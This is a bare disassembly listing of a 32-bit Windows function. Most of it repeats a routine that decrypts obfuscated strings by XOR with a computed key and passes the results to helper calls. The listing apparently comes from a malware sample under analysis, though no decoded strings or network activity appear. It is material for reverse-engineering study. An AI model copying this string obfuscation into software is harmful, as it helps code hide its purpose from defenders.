mov al, byte [0x440b30]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 0x110], al
mov dword [ebp - 0xd4], edx
nop word [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0xd4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xd4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x114], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 5
jl 0x410a60
lea ecx, [ebp - 0x114]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ad0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0x1e
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x410ca8
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x410c72
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x410b60
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jge 0x410ca8
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jl 0x410c72
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410cd6
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0x1f
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0xd4], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x410e80
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x410d70
mov dword [ebp - 0xd4], edx
cmp edx, 0x15
jge 0x410eb6
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x15
jl 0x410e80
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ed8
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x20
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
add esp, 8
lea edx, [ebp - 0xf4]
cmp dword [ebp - 0xe0], 0x10
mov ecx, eax
cmovae edx, dword [ebp - 0xf4]
cmp dword [eax + 0x14], 0x10
jb 0x410f32
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov esi, eax
cmp edx, 0x10
jb 0x410f81
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410f77
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414455
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x410fd4
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410fca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414455
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x411024
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41101a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414455
push edx
push ecx
call fcn.00416502
add esp, 8
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov byte [ebp - 4], 7
call fcn.00402580
cmp esi, 0xffffffff
jne 0x4143d7
cmp byte [0x440bb3], 0
movups xmm0, xmmword [0x440b9c]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
movups xmmword [ebp - 0xf4], xmm0
movq xmm0, qword [0x440bac]
movq qword [ebp - 0xe4], xmm0
je 0x41122c
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x4111f0
movaps xmm0, xmmword [0x440cc0]
mov esi, 1
movaps xmm4, xmmword [0x440c20]
mov eax, 0x1f
movaps xmm3, xmmword [0x440ca0]
xor ecx, ecx
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov edx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0xf4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf0]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xf0], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x4110e0
jmp 0x411231
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0xd4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xd4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0xf4], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x18
jl 0x4111f0
mov esi, 1
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x204]
call fcn.00402620
mov dword [ebp - 0x25c], eax
mov byte [ebp - 4], 0x21
movups xmm0, xmmword [str.k_IOYPV_2]
mov cx, word [0x4407f8]
mov word [ebp - 0x264], cx
movups xmmword [ebp - 0x274], xmm0
test ch, ch
je 0x411406
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x4113d0
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4112c0
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jge 0x411406
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jl 0x4113d0
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402620
mov esi, eax
mov byte [ebp - 4], 0x22
xor edx, edx
mov cx, word [0x440a84]
mov word [ebp - 0x4c], cx
mov dword [ebp - 0xd4], edx
movups xmm0, xmmword [str.kVOKLZ]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [0x440a6c]
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [0x440a7c]
movq qword [ebp - 0x54], xmm0
cmp edi, 2
jl 0x4115a2
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x74]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x74], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x70]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x70], xmm1
add edx, 8
cmp edx, 0x28
jl 0x4114a0
mov dword [ebp - 0xd4], edx
cmp edx, 0x2a
jge 0x4115d5
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x74], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x2a
jl 0x4115a2
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x18c]
call fcn.00402620
push esi
push eax
lea edx, [ebp - 0xdc]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x174]
call fcn.0040ae50
add esp, 4
mov ecx, eax
push dword [ebp - 0x25c]
call fcn.00402530
lea ecx, [ebp - 0x174]
mov esi, eax
call fcn.00402580
lea ecx, [ebp - 0x18c]
call fcn.00402580
lea ecx, [ebp - 0x12c]
call fcn.00402580
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 7
call fcn.00402580
cmp esi, 0xffffffff
jne 0x4143d7
cmp byte [0x440b0b], 0
movups xmm0, xmmword [0x440af4]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
movups xmmword [ebp - 0xf4], xmm0
movq xmm0, qword [0x440b04]
movq qword [ebp - 0xe4], xmm0
je 0x41181c
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x4117e0
movaps xmm0, xmmword [0x440cc0]
mov esi, 1
movaps xmm4, xmmword [0x440c20]
mov eax, 0x1f
movaps xmm3, xmmword [0x440ca0]
xor ecx, ecx
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov edx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0xf4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf0]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xf0], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x4116d0
jmp 0x411821
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0xd4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xd4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0xf4], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x18
jl 0x4117e0
mov esi, 1
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x204]
call fcn.00402620
mov dword [ebp - 0x25c], eax
mov byte [ebp - 4], 0x24
movups xmm0, xmmword [str.k_IOYPV_2]
mov cx, word [0x4407f8]
mov word [ebp - 0x264], cx
movups xmmword [ebp - 0x274], xmm0
test ch, ch
je 0x4119f6
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x4119c0
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4118b0
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jge 0x4119f6
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jl 0x4119c0
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402620
mov esi, eax
mov byte [ebp - 4], 0x25
xor edx, edx
mov cx, word [0x440a84]
mov word [ebp - 0x4c], cx
mov dword [ebp - 0xd4], edx
movups xmm0, xmmword [str.kVOKLZ]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [0x440a6c]
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [0x440a7c]
movq qword [ebp - 0x54], xmm0
cmp edi, 2
jl 0x411b92
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x74]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x74], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x70]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x70], xmm1
add edx, 8
cmp edx, 0x28
jl 0x411a90
mov dword [ebp - 0xd4], edx
cmp edx, 0x2a
jge 0x411bc5
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x74], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x2a
jl 0x411b92
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x18c]
call fcn.00402620
push esi
push eax
lea edx, [ebp - 0xdc]
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x174]
call fcn.0040ae50
add esp, 4
mov ecx, eax
push dword [ebp - 0x25c]
call fcn.00402530
lea ecx, [ebp - 0x174]
mov esi, eax
call fcn.00402580
lea ecx, [ebp - 0x18c]
call fcn.00402580
lea ecx, [ebp - 0x12c]
call fcn.00402580
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 7
call fcn.00402580
cmp esi, 0xffffffff
jne 0x4143d7
cmp byte [0x440b23], 0
movups xmm0, xmmword [0x440b0c]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
movups xmmword [ebp - 0xf4], xmm0
movq xmm0, qword [0x440b1c]
movq qword [ebp - 0xe4], xmm0
je 0x411e0c
lea ecx, [ebp - 0x1bc]
call fcn.00402580
lea ecx, [ebp - 0x144]
call fcn.00402580
lea ecx, [ebp - 0x15c]
call fcn.00402580
lea ecx, [ebp - 0x1d4]
call fcn.00402580
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.004164c4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
call fcn.0041a93f
push str.error
lea ecx, [ebp - 0x3a4]
call fcn.00402890
push 0x4438e0
lea eax, [ebp - 0x3a4]
push eax
call fcn.00417993
push edi
lea ecx, [ebp - 0x3c]
call fcn.00402620
mov esi, eax
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0x8c
push eax
lea ecx, [ebp - 0x18c]
call fcn.00404970
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x8d
push ecx
mov edx, eax
lea ecx, [ebp - 0x32c]
